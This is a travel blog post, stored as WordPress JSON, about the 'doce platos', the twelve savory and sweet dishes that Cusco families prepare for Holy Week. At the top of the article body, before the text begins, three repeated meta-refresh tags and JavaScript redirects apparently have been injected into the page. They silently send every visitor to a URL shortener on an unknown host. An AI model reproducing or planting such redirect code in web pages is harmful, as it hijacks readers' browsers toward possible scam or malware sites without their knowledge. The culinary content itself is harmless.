{"id":13481,"date":"2025-03-24T11:20:26","date_gmt":"2025-03-24T16:20:26","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=13481"},"modified":"2025-04-29T10:54:06","modified_gmt":"2025-04-29T15:54:06","slug":"doce-platos-the-culinary-tradition-of-holy-week-in-cusco","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/doce-platos-the-culinary-tradition-of-holy-week-in-cusco\/","title":{"rendered":"Doce Platos: The Culinary Tradition of Holy Week in Cusco"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>What else can we say about the city of Cusco, the tiny Andean gem, once the cradle of America\u2019s greatest Empire? During festival seasons, Cusco loves to celebrate the fusion or <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/andean-syncretism-perus-unique-mix-of-faith-tradition\/\"><strong>syncretism <\/strong><\/a>of cultures you can see in its architecture, culture, and traditions.<\/p>\n\n\n\n<p>For example, one tradition that <span style=\"box-sizing: border-box; margin: 0px; padding: 0px;\">reflects the religious devotion of this city is<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/top-routes-for-an-unforgettable-holy-week-in-peru\/\" target=\"_blank\"><strong>&nbsp;Holy Week&nbsp;<\/strong><\/a>and all of its rites. One holiday tradition that Cusque\u00f1os love is the \u201cdoce platos\u201d (twelve dishes). Every Cusque\u00f1an family eats these delicacies on Good Friday, Holy Thursday, or even Palm Sunday<\/span>.<\/p>\n\n\n\n<p>The kitchen transforms into a bustling hub of creativity while they make these dishes that honor the memory of Jesus, symbolizing the 12 apostles. This tradition passes down through generations and remains a cherished ritual that blends faith with local flavor.<\/p>\n\n\n\n<p>Join us as we explore the traditions and dishes behind these dishes. Whether you\u2019re a believer or not, we assure you\u2019ll be mouthwatering for the dishes we introduce you to. Let\u2019s dive in!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Family Tradition with a Dash of History<\/strong><\/h2>\n\n\n\n<p>Imagine a cool morning in a Cusco household where the aroma of freshly ground corn and simmering vegetables mingles with laughter and friendly banter. <\/p>\n\n\n\n<p>In one such home, \u201cDo\u00f1a Rosa\u201d\u2014an elderly matriarch whose hands have lovingly stirred pots for decades\u2014gathers her children and grandchildren in the kitchen.&nbsp;<\/p>\n\n\n\n<p>With a twinkle in her eye, she exclaims, <em>\u201cCada plato es un pedacito de historia, \u00a1y hoy vamos a honrar a cada uno de los doce ap\u00f3stoles!\u201d <\/em>(\u201cEach dish is a little piece of history, and today we\u2019re honoring each of the twelve apostles!\u201d)&nbsp;<\/p>\n\n\n\n<p>Her playful tone and heartfelt words remind everyone that in Cusco, family, faith, and food go hand in hand. Cusco grandmothers like \u201cDo\u00f1a Rosa\u201d reflect the spirit of the twelve dishes: To share with family delicious meals.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The 12 Dishes: A Symphony of Savory and Sweet<\/strong><\/h2>\n\n\n\n<p>Traditionally, the \u201cdoce platos\u201d are divided into two equal groups\u2014six savory dishes and six sweet treats. Although recipes vary among families, here\u2019s a look at a common interpretation of these 12 dishes with a few variations that make each family\u2019s celebration unique.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Savory Delights<\/strong><\/h3>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"686\" height=\"386\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/hq720-2.jpg?resize=686%2C386&#038;ssl=1\" alt=\"lawa soup\" class=\"wp-image-13485 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/hq720-2.jpg?w=686&amp;ssl=1 686w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/hq720-2.jpg?resize=300%2C169&amp;ssl=1 300w\" sizes=\"auto, (max-width: 686px) 100vw, 686px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Lawa de Ma\u00edz (Corn Cream)<\/strong><\/h3>\n\n\n\n<p>A velvety cream soup made with sweet <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-golden-legacy-of-the-peruvian-corn\/\"><strong>corn<\/strong><\/a><strong>,<\/strong> milk, and a hint of local spice. In some families, cooks sprinkle grated cheese to elevate its richness.&nbsp; This soup is one of Cusco people\u2019s favorites, and it\u2019s also present eerie time of the year.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/maxresdefault-6.jpg?resize=697%2C392&#038;ssl=1\" alt=\"olluco soup\" class=\"wp-image-13486 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/maxresdefault-6.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/maxresdefault-6.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/maxresdefault-6.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/maxresdefault-6.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Sopa de Lisas<\/strong><\/h3>\n\n\n\n<p>Lisas, or<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-olluco-perus-unsung-andean-superstar\/\"><strong> olluco<\/strong><\/a>, is a Peruvian tuber popular in the Andes. From olluco, Cusco\u2019s mothers elaborate a delicious soup, featuring a mix of Andean vegetables\u2014potatoes, corn, and <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-chuno-an-andean-tradition-of-preservation\/\" title=\"\">chu\u00f1o<\/a><\/strong> (freeze-dried potato)\u2014slow-cooked in a savory broth.&nbsp; Some variations include the addition of eggs or aromatic herbs.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/chupe-de-camarones1.webp?resize=697%2C464&#038;ssl=1\" alt=\"Chupe de Camarones\" class=\"wp-image-13488 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/chupe-de-camarones1.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/chupe-de-camarones1.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/chupe-de-camarones1.webp?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/chupe-de-camarones1.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Chupe de Camarones (Shrimp Chowder)<\/strong><\/h3>\n\n\n\n<p>An <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipa-gastronomy-a-guide-to-the-best-dishes\/\"><strong>Arequipa gastronomy<\/strong><\/a> specialty, this creamy seafood chowder is also the favorite among Cusque\u00f1os. <\/p>\n\n\n\n<p>Using local shrimp, potatoes, and corn, this dish pays homage to the biblical fishermen and is sometimes enriched with a dash of chili.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"680\" height=\"482\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/almuerzo-de-pescado-merluza-frito-foto-principal.jpg?resize=680%2C482&#038;ssl=1\" alt=\"Peruvian fried fish\" class=\"wp-image-13489 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/almuerzo-de-pescado-merluza-frito-foto-principal.jpg?w=680&amp;ssl=1 680w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/almuerzo-de-pescado-merluza-frito-foto-principal.jpg?resize=300%2C213&amp;ssl=1 300w\" sizes=\"auto, (max-width: 680px) 100vw, 680px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\">&nbsp;<strong>Pescado Frito o Sudado (Fried or Stewed Fish)<\/strong><\/h3>\n\n\n\n<p>Fresh fish is either fried to a golden crisp or stewed in a tangy tomato sauce. For example, families often choose different types of local fish, keeping the recipe as personal as it is traditional.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/59298t1.jpeg?resize=697%2C392&#038;ssl=1\" alt=\"Arroz con mariscos\" class=\"wp-image-13491 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/59298t1.jpeg?w=806&amp;ssl=1 806w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/59298t1.jpeg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/59298t1.jpeg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Arroz con Mariscos (Seafood Rice)<\/strong><\/h3>\n\n\n\n<p>We have another Peruvian <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-perus-seafood-a-flavorful-ocean-journey\/\" title=\"\">seafood<\/a> <\/strong>delicacy with Arroz con Mariscos. <\/p>\n\n\n\n<p>This colorful rice dish is loaded with squid, mussels, shrimp, and clams, flavored with local spices and a squeeze of lime for brightness.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?resize=697%2C466&#038;ssl=1\" alt=\"Quinoa soup\" class=\"wp-image-13493 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?resize=1024%2C684&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/sopa-de-quinoa-con-ajos-tiernos-y-calabaza.jpg?w=1198&amp;ssl=1 1198w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Sopa de Quinua<\/strong><\/h3>\n\n\n\n<p>A light yet nourishing soup featuring<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quinoa-perus-legendary-superfood-with-health-benefits\/\"><strong> quinoa<\/strong><\/a>\u2014a superfood native to the Andes\u2014combined with fresh vegetables in a gentle broth ideal for high-altitude comfort.<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Sweet Sensations<\/strong><\/h2>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"697\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=697%2C697&#038;ssl=1\" alt=\"arroz con leche\" class=\"wp-image-13325 size-full\" style=\"object-position:63% 57%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=1024%2C1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=300%2C300&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=150%2C150&amp;ssl=1 150w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?resize=768%2C768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/Arroz-con-Leche-Featured.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Arroz con Leche (Rice Pudding)<\/strong><\/h3>\n\n\n\n<p>A classic dessert of rice, milk, and cinnamon. Cusque\u00f1os and Peruvians love it eat it all the time of year round. Although you&#8217;ll find different versions in Latin American countries, you must try the Peruvian one!<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"400\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=600%2C400&#038;ssl=1\" alt=\"mazamorra morada\" class=\"wp-image-13494 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?w=600&amp;ssl=1 600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/mazamorra-morada-estilo-peruano_web.jpg.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Mazamorra Morada<\/strong><\/h3>\n\n\n\n<p>This purple corn pudding is \u201carroz con leche\u2019s counterpart. People spice this pudding with cloves, cinnamon, pineapple peel, and fruits. Its striking color and unique flavor make it a Holy Week favorite.<\/p>\n<\/div><\/div>\n\n\n\n<p><strong>Did you know?:<\/strong> Peruvian love mixing arroz con leche and mazamorra, we call it \u201ccombinado\u201d or \u201cclasico.\u201d Do you dare to try this bold and delicious combo?<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"685\" height=\"514\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=685%2C514&#038;ssl=1\" alt=\"Empanda dulce\" class=\"wp-image-13495 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?w=685&amp;ssl=1 685w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/plates-of-holy-week-in-cusco-5.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 685px) 100vw, 685px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Empanadas Dulces<\/strong><\/h3>\n\n\n\n<p>In almost all of Peru, empanadas are savory with chicken, ham, or meat filling. However, for Cusque\u00f1os empanadas are a golden, flaky crust and are often topped with cheerful, colorful sprinkles, adding a special touch that really represents Cusco&#8217;s charm!<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"630\" height=\"413\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/suspiros-panaderia-San-Anton.jpg?resize=630%2C413&#038;ssl=1\" alt=\"Suspiros\" class=\"wp-image-13497 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/suspiros-panaderia-San-Anton.jpg?w=630&amp;ssl=1 630w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/suspiros-panaderia-San-Anton.jpg?resize=300%2C197&amp;ssl=1 300w\" sizes=\"auto, (max-width: 630px) 100vw, 630px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>Suspiros (Little Sighs)<\/strong><\/h3>\n\n\n\n<p>Light, airy meringue treats that melt in your mouth, symbolizing hope and joy after a solemn period. They\u2019re perfect as bite-sized sweets after the meal.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"600\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/bizcochuelo-de-todos-santos.jpg?resize=600%2C464&#038;ssl=1\" alt=\"Bizcochuelo\" class=\"wp-image-13498 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/bizcochuelo-de-todos-santos.jpg?w=600&amp;ssl=1 600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/bizcochuelo-de-todos-santos.jpg?resize=300%2C232&amp;ssl=1 300w\" sizes=\"auto, (max-width: 600px) 100vw, 600px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Bizcochuelo (Sponge Cake)<\/strong><\/h3>\n\n\n\n<p>A soft, spongy cake that can be served plain or with a light dusting of powdered sugar. Some families add citrus zest to infuse a fresh note.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"338\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948201M.jpg?resize=500%2C338&#038;ssl=1\" alt=\"Pan de jurka\" class=\"wp-image-13500 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948201M.jpg?w=500&amp;ssl=1 500w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948201M.jpg?resize=300%2C203&amp;ssl=1 300w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<h3 class=\"wp-block-heading\"><strong>&nbsp;Pan Jurka or Pan Costra (Traditional Pastry)<\/strong><\/h3>\n\n\n\n<p>These crusty, small breads\u2014unique to Cusco\u2014are either enjoyed on their own or spread with local cheese or jam, providing a delightful finish to the savory courses.<\/p>\n<\/div><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Variations and Local Touches<\/strong><\/h2>\n\n\n\n<p>Every family in Cusco has its own secret recipes. For instance, some households might add a touch of huacatay\u2014a local herb\u2014to the Sopa de Lisas or introduce a bit of aj\u00ed for a gentle kick in the seafood rice.<\/p>\n\n\n\n<p>As for the sweet dishes, some families add the appetizing \u201cguisado\u201d which is basically a \u201cpeach stew,\u201d using chancaca, cloves, and sweet and juicy peaches. <\/p>\n\n\n\n<p>The traditional \u201cmazamorra de chancaca,\u201d a pudding made of chancaca, a type of Peruvian hardened sugar with spices.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"153\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?resize=697%2C153&#038;ssl=1\" alt=\"maicilo, guisado, and mazamoora de chancaca pic\" class=\"wp-image-13501\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?resize=1024%2C225&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?resize=300%2C66&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?resize=768%2C169&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?resize=1536%2C338&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?w=1600&amp;ssl=1 1600w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/1742833611473.webp?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>This ancient <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"><strong>Peruvian traditional dessert<\/strong><\/a> is not popular these days, but if you get the chance to try it, do it! It\u2019s filled with flavor and tradition. The maicillos, tiny savory crusts, are also preferred by many Cusco families.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>A Celebration Beyond the Plate<\/strong><\/h3>\n\n\n\n<p>The ritual of preparing and sharing these 12 dishes is about more than food\u2014it\u2019s a celebration of family and cultural identity. <\/p>\n\n\n\n<p>As families gather around the table, they share stories of past Holy Weeks, reminisce about old traditions, and look forward to new memories.\u00a0<\/p>\n\n\n\n<p>Cooking together becomes an act of love and community, reinforcing the values of patience, tradition, and gratitude. In many Cusque\u00f1an homes, the preparation process itself is a cherished event.<\/p>\n\n\n\n<p>\u00a0Grandmothers teach children the art of stirring the perfect soup or kneading dough for empanadas, ensuring that the skills and stories are passed down through the generations.\u00a0 <\/p>\n\n\n\n<p>This communal activity transforms a meal into a living history lesson, where every spoonful connects the present with a storied past.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Feast for the Senses<\/strong><\/h2>\n\n\n\n<p>During Holy Week, Cusco shows its religious side. In the procession of the lord of the tremors (Se\u00f1or de los temblores) on holy Monday, the historical center, the streets of the city, and the cathedral of Cusco turn into a huge religious party.<\/p>\n\n\n\n<p>Walking through Cusco during Holy Week, one is greeted by an orchestra of aromas\u2014from the earthy scent of corn and quinoa to the sweet allure of cinnamon and fruit stews. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"474\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?resize=697%2C474&#038;ssl=1\" alt=\"Lady offering holy week desserts\" class=\"wp-image-13502\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?resize=1024%2C697&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?resize=300%2C204&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?resize=768%2C523&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?resize=1536%2C1046&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/03\/000948199W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Each dish not only nourishes the body but also tells a story of the region\u2019s diverse agricultural heritage and cultural fusion.<\/p>\n\n\n\n<p>Whether you\u2019re in the Sacred Valley, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-squares-heartbeats-of-the-inca-city\/\" title=\"\">San Francisco Square<\/a><\/strong>, or a recommended bakery in Cusco, give it a try to some of the twelve dishes we showed you!&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than 12 dishes<\/strong><\/h2>\n\n\n\n<p>The tradition of the \u201cdoce platos\u201d in<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-portals-history-around-every-corner\/\" title=\"\"> Cusco<\/a><\/strong> is a vivid example of how food can serve as a bridge between the sacred and the everyday, between history and modernity. <\/p>\n\n\n\n<p>It is a tradition that brings together the family, community, and nature into one delicious and meaningful celebration.\u00a0<\/p>\n\n\n\n<p>Next time you wander through the historic streets of Cusco during Holy Week, don\u2019t be surprised if you\u2019re invited into a home where the table is set with 12 beautifully crafted dishes.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>\u00a0Take a seat, savor every bite, and let the story of Cusco\u2014one of passion, tradition, and exquisite food\u2014unfold before you. <\/p>\n\n\n\n<p>And, also, keep in mind that these 12 dishes offer an unforgettable culinary journey that nourishes both body and soul. Finally, keep enjoying what Cusco and Peru offer with Viagens Machu Picchu! 